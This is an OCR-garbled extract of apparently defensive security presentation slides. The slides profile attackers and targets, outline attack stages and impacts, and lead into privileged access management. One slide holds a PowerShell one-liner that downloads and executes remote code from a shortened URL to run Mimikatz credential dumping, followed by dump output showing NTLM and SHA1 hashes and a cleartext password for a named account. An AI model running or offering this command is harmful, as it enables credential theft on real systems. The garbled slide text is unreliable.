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Attacker Profile

- Wants something o

- lllegally motivated =

- Nation State employed

- Extensive offensive attack
networks and tools

- STEM educational immersion

- Deliberate target selection:

>

- High Value

- High Impact GMT +8, +9, +10,

- Exploit Driven +11, +12
Attacker

Seeks

0 identifies @ °
objectives & opportumty
Attacker &
/_‘ Network

Exploit / Malware Development:
< Extensible platform integration
< Extensive, multi-vendor IACS lab

v Embedded network architectures
< All-encompassing use-case vignettes
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“THEY” Attack while “WE” sleep...
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Target Profile
- Has something

- Responsible citizen @

- Limited to defensive tools
- Broad / diverse education STt
- Valid corporate employee
- - Once a target, always a target:
- Statistics prove this!
- Detection, Containment and
Eradication are challenging

a.k.a Botnets or Zombies
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Target
Replication
v Footprint z
4 Payload Deployment

v MAC / IP */\
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Y ISP Segments
¥ Network Information

Vulnerabilities
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Exploitation

Based on:
¥ Calendar Date
< Keyboard Sequence
v Defined Time Elapse
¥ Logic Bomb
v Whatever!

< Intellectual Property & @

v Theft é\ 3 9

¥ National Security
¥ Branding / Reputation =¥ s3
¥ Loss of Life
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— MetaSploit, Mimikatz ...

— powershell "IEX (New-Object
Net.WebClient).DownloadString(‘http://is.gd/oeoFul’);
Invoke-Mimikatz -DumpCreds"




RETER P §

e RRERe: /e RTF
credman : B

Authentication Id : @ ; 189719 (0PPOEOEO:0002e517)
Session : Service from O
User MName : postgres_eilp
Domain : WEBSENSE186
$ID : $-1-5-21-3545246933-1965705880-1427345756-1005
msv

[00010000] CredentialKkeys

* NTLM : Dfaf2c399ecb8lebeecbabecbdedlb352

* SHA1 : D1749b3b2abcfofThicc59922918965F5557F4bb
[00000003] Prlmarg

* Username : postgres_eip

* Domaln : WEBSENSE186

* NTLM : OFfaf2c399ecb8lebeecbadbecddedlb352

* SHA1 : D1749b3b2abcfofThicc59922918965F5557F4bb
tspkg :
wdigest

* Username : postgres_eip

* Domaln : WEBSENSE186

% Password : JMO9fg™.YJ6Syp !
kerberos :

* Username : postgres_eilp

* Domailn : WEBSENSE186

*x Password : (null)
SSp
credman : 6
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PAM (Privileged Access Management)
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Size : 1361.42KB PageCount: 503 FileName : IAM_20150710_164559218 793e191baffblledadb200f0{480
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